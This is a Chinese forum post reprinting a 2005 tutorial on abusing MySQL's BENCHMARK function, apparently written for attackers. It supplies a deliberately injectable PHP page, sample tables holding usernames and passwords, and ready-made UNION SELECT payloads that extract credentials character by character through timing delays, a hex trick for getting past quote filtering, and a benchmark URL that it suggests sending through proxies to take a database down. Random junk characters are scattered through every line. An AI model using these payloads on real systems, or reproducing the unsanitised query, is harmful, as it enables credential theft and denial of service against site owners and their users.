找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2229|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
" c) `3 p! \6 b) W# g! ~- h本文作者:SuperHei
* F( d9 a* Q' H7 @; j$ d文章性质:原创6 E& b. u' o; [
发布日期:2005-01-02% n( g# o* Y5 Q$ z0 X( Z" N
完成日期:2004-07-09 4 t4 y# ^6 d1 d) i" e* }
第一部5 [) _3 h+ B; c4 m8 u6 t! |

' G4 C& M( R2 @4 k0 e4 I" g* a" H6 i利用时间推延进行注射---BENCHMARK函数在注射中的利用 4 j; k  g3 S) ~1 S

; H  M2 w. W# P3 o一.前言/思路
# R- X* |. `& z: o& p
( m1 f, n4 L' f' n) p  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
# C8 l& j5 e3 b0 ?, B7 H" @3 I
0 t' B# N* H5 i( v$ m- J  V' `' c  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。/ ]! a* j3 m+ D! r; ?

. V% k! u$ K. ]' W二.关于BENCHMARK函数& j2 u% U/ t' @9 ^* p! H  v" |
7 @+ W/ H. @5 }" |
  在MySQL参考手册里可以看到如下描叙:
9 R: r4 Q- z3 j" V4 ]9 O( n
5 |& n3 l% U  m7 _
3 O& i/ M! \' L6 `' n6 B$ C( m--------------------------------------------------------------------------------8 f$ ]5 D) i; J7 M

4 B' d3 v7 ?/ ~3 wBENCHMARK(count,expr)
/ }; O3 M! u& }5 m- T8 FBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
2 Z# A. c5 M6 P$ b$ emysql> select BENCHMARK(1000000,encode("hello","goodbye"));
2 c$ V# U/ R) G8 k# j7 Z+----------------------------------------------+
+ O; f3 C# k/ Z6 S* i0 V7 S| BENCHMARK(1000000,encode("hello","goodbye")) | + X% W% K- d; x0 I
+----------------------------------------------+
/ z5 z2 }1 C9 P; `5 k; L| 0 |
/ v! X5 f0 Z7 f) k( i# \+----------------------------------------------+ ! D8 i& A' P3 k6 l9 i
1 row in set (4.74 sec)
2 l0 ~) b9 u/ w& k2 ]2 L5 X3 x; o2 R( z2 y3 y7 Y2 b
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
% W! ]( A7 n7 G6 y2 L  V; p+ _
3 c& g# P! e1 b) l( q
1 F) Q+ T- {! J$ c8 |3 e6 r--------------------------------------------------------------------------------9 u3 X6 I9 s! t, {" c% q+ M
; I7 H. Q. ]+ Q$ c" c1 s+ q
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: / _- o2 o4 G  I. r) M

7 }& Q+ ^' B/ k2 B5 kmysql> select md5( 'test' );
- f$ |1 T3 x& }! s+----------------------------------+ 6 j) R) J% g' U0 b4 A
| md5( 'test' ) | . C( t& \4 l7 @% A2 E
+----------------------------------+
$ ^* l4 N$ E$ X6 V| 098f6bcd4621d373cade4e832627b4f6 |
4 K+ s8 p6 q9 J" z+----------------------------------+ + {* A: x5 l7 J
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 1 v& Y( p* S9 d  c6 m, P

$ i4 [$ T) x( L2 l! E, qmysql> select benchmark( 500000, md5( 'test' ) ); 0 Z, e, R  z7 m1 M3 s
+------------------------------------+ 9 I. T! L2 U/ h& d0 m) o. _. e
| benchmark( 500000, md5( 'test' ) ) |
4 ^, g/ n; O0 y4 N7 e( X  G) t1 V+------------------------------------+
2 C% f& ~5 @! I4 U. V; W, u| 0 | * v6 M( `6 ^, [0 d. C; A
+------------------------------------+
) p& }* Y' e! }+ N1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
6 C9 x5 \5 e9 `/ P( b2 q
9 {, q4 a7 R3 X3 D" O' }4 |
$ E+ E) C4 _" E$ G1 Y: \0 z2 n) h5 q  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
0 z; k0 J, O! u/ Y+ E1 V5 _( ^  Q! O
三.具体例子/ }9 K0 g; ~+ t) l( _

7 ]& M: q, K5 K, v* a  首先我们看个简单的php代码:, ~$ |5 T- F* C  M/ m! D- @
+ u: @' s, ?% B% Y/ G; F# ^
< ?php   ?8 Q( w5 M! g- u( @8 O# P
$servername = "localhost";
. B$ r. q" T# i4 C1 I$dbusername = "root"; ' q& C% b" H* W: `" W
$dbpassword = ""; 2 o# V4 d2 `4 n
$dbname = "injection"; 7 x; V2 V# j$ A) q

0 L5 f* Z8 ^5 U: k4 N7 t+ Emysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); " y' h9 @0 C$ p8 _( I- c( e

& B0 F$ A" \& `5 S0 l1 Q! k$sql = "SELECT * FROM article WHERE articleid=$id";
8 H& I4 y6 d" j- n, y+ Q5 u$result = mysql_db_query($dbname,$sql); - `8 F3 v5 W) I" ^( N4 I+ V
$row = mysql_fetch_array($result);
1 O; Y6 {9 Z" P  `; Z0 q2 V: F
3 l, C3 k+ W# b  M# oif (!$row)
  ?0 K/ p4 _! F0 v6 p, u: ]{ ' X! t: [+ g: c( a
exit;
0 L* _, K$ I  d: y9 E; n8 I  o}
7 @/ b+ b9 ?; G( _; T3 a' S?>. A( `3 l" _9 b9 f: [1 m

7 F3 H, l% ~% l* N4 {& L1 o
, L4 R- c+ k+ E  数据库injection结构和内容如下:
( n5 J. j( Z* c: n% X2 ?5 y- V! i1 J7 p) B% C
# 数据库 : `injection`
5 n6 c. q( Y2 O' {# ; U# \( q* ~4 u( e8 y

1 p0 s, I9 k- Y4 @2 R/ V( f# -------------------------------------------------------- 1 `$ I9 _  h$ v4 U5 }# B5 l' @
+ `8 X5 Q5 U) D
# ! w9 v/ y0 J9 ]. B
# 表的结构 `article`
9 A$ F5 B4 y4 |1 z% f2 V#
2 _2 j: X- K1 q& [% L. X- s6 G0 E& B
8 N/ P& n" I0 B5 G, \CREATE TABLE `article` ( / C" D  e! ~0 M
`articleid` int(11) NOT NULL auto_increment,
& S* M8 U, c9 g$ F' u2 L8 V`title` varchar(100) NOT NULL default '', ( Q1 e- {/ ]+ M) k% O: r2 F: p
`content` text NOT NULL,
0 L! a; d1 R7 pPRIMARY KEY (`articleid`) . Y1 g$ m! D7 D1 E
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" u' `+ J5 `; o  c4 \5 c
9 o3 o* O) P! }0 y3 @1 B# . K% Q. x( X, i6 Q  g8 S+ S
# 导出表中的数据 `article`
/ T: O( R6 T; q! w# 4 K% B, c( D3 ~) j. t
$ a* {7 ]2 n- `# |  j
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
- a5 M& G) [4 @INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); & u5 H) t+ k$ w; j5 \9 \$ }- h

( @. X9 |0 @+ V# --------------------------------------------------------
* M9 i- E" E) ?/ G# u6 Y7 s2 Z" e- z! H
#   }) B& B2 \4 W. A3 r* J! t
# 表的结构 `user`
+ k0 C6 M# u( t( ~" o5 C$ |- J#
/ E. t% `  P2 ~: V$ p# z: s" o" @5 J
CREATE TABLE `user` (
! J% T: u6 p8 H: N8 `" I) R, [`userid` int(11) NOT NULL auto_increment, " q+ v1 q& H$ X
`username` varchar(20) NOT NULL default '',
; \9 Q7 O" J/ s. r) |) S`password` varchar(20) NOT NULL default '', 1 O: r! S1 b3 M& ~  Z
PRIMARY KEY (`userid`) 1 y- [/ ]; [6 P( x; [
) TYPE=MyISAM AUTO_INCREMENT=3 ; 9 P# B' v/ B0 a* Y/ z+ Q

% N4 j- k+ S* y: p! \" R+ K#
9 m* e9 d" v0 B3 ~% I6 z# 导出表中的数据 `user` : z5 O; z' D9 X
# ' Q  Q  y7 ^& i  S1 {
; L+ d+ D6 x, Q
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
" E1 K/ g# t3 E* E9 hINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
: S. d; f9 ]5 ` : i- m4 B4 F- l" A# z

, F9 G8 w8 S! Z5 M& k5 j/ |* e  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
4 l) Z7 A7 I5 Q& H  A* Q* x: C' G/ Z& q8 L: U- c
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
  m+ _! Y) Z  U8 P* @0 ] ; @3 |( x1 h3 x. J$ l% K; Y
% ~# ]+ N5 J' C; E
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:7 F( W0 ~8 z5 X" F' O) x. O
( s3 {8 I( G3 a2 U! U
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
7 B0 ^" |. u5 I: z- |3 b0 a) C6 |
* R2 b) l$ Y) {" r5 q* f
5 N7 P3 L! M1 K/ H  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ( w: n4 p+ h6 z1 r
1 c' g9 B6 Z/ l  b7 _# {
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
& n( ]+ G" e6 w. C9 A; N2 q$ E
' t% ]+ ?5 O/ T  ^6 r第二部
" h! l) L& _3 C# Q8 k4 b
% i1 p6 e5 o6 n利用BENCHMARK函数进行ddos攻击 4 Z" E1 n% n- w9 Z" T

' b$ N! L" f1 P$ |2 Z' R; y: V  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:' L' ^  I( z2 l0 B, k4 w& T5 j2 {
) ~# r, D; H: O
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))7 w3 }( w0 H% y, o. i; ]

" m4 Z  Y5 b7 K
$ e- @0 _; O* E* W小结
$ y9 Q6 z3 F& t1 S* S4 b1 T+ ^; r
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
! D* M5 E7 B& ^( ` 6 ]3 p% s9 e0 a- J
  
# k# P5 S6 W' e% q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表